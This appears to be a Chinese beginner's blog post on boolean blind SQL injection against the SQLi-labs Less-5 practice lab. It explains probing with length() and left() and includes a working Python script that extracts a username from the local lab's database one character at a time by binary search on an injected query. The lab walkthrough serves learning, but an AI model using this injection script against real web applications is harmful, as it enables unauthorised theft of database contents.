zoukankan      html  css  js  c++  java
  • WEB新手之布尔盲注

      开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写。

      布尔盲注是多种盲注的一种,这种盲注方法也比较好理解。但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通过判断,来获得所需的信息。

      以Less-5为例题,如图所示:

      加上id=1,会发现这样的回显,如图所示:

      然后利用Less-1~4的知识,发现这里的语句使用单引号闭合的,并且用联合查询语句会依然回显“You are in......”。因此,简单的联合查询语句是行不通的。

      由于存在单引号闭合漏洞,我们可以使用and并且结合相关的语句对数据库信息进行猜测。

      首先得得出数据库长度,利用length()函数,payload如下:

      然后这里发现该语句没有回显,如图所示:

      长度不为5,再通过多次尝试,爆出数据库名长度为8,如图所示:

      知道了库名长度后,再使用left()函数进行注入。先说一下left()函数,该函数有两个参数,第一参数是需要进行截取的字符串对象,第二个参数是该字符串从左到右的第几个字符。payload如下图所示:

      

      通过一个个的尝试,会发现当left(database(),1)='s'时,回显正常。因此数据库的第一个字符为s,接下来的数据如法炮制。

      当然,如果这样一个个的尝试,犹如大海捞针,因此我们通常使用脚本进行注入。这里使用了二分法,代码如下图所示:

    # -*-coding:utf8-*-
    import requests
    url = "http://localhost:81/SQLI-LABS/sqli-labs-master/Less-5/?id=1%s"
    payload = "' and ord(mid((select username from users limit 0,1),%s,1))>%s --+"
    result =''
    print "start to get the result: "
    for i in range(1, 20):
        max = 122 #z
        min = 65 #A
        while abs(max-min)>1:
            mid = int((max+min)/2)
            p = payload % (str(i), str(mid))
            response = requests.get(url % p)
            if response.content.find("You are in") != -1:
                min = mid
            else:
                max = mid
        result = result+chr(max)
        print ("the result is %s" % result)

         需要注意的是,这里的%s是字符串占位符,代表一个字符串对象,可以放置不同的字符串。

      最终通过脚本获得flag。

  • 相关阅读:
    Systemd 进程管理教程
    traefik的80和443端口占用进一步分析
    使用KubeOperator安装k8s集群后,节点主机yaml文件路径
    kubernetes1.20 部署 traefik2.3
    数据采集实战(二)-- 京粉商品
    机器人导航(仿真)(三)——路径规划(更新中)
    机器人导航(仿真)(二)——amcl定位
    Tkinter 做简单的窗口视窗 Python GUI
    机器人导航(仿真)(一)——SLAM建图
    (转载)VMware Workstation Ubuntu 20.04 无法连接网络问题
  • 原文地址:https://www.cnblogs.com/Buki11/p/10792837.html
Copyright © 2011-2022 走看看